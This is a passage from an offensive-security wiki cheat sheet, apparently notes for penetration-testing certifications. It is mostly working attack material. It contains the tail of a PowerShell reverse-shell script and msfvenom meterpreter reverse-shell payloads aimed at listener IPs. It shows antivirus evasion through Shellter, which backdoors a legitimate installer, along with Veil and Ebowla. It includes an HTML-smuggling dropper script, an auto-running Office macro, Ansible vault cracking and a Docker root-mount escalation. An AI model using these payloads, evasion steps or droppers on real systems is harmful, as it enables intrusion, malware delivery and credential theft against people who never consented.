                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
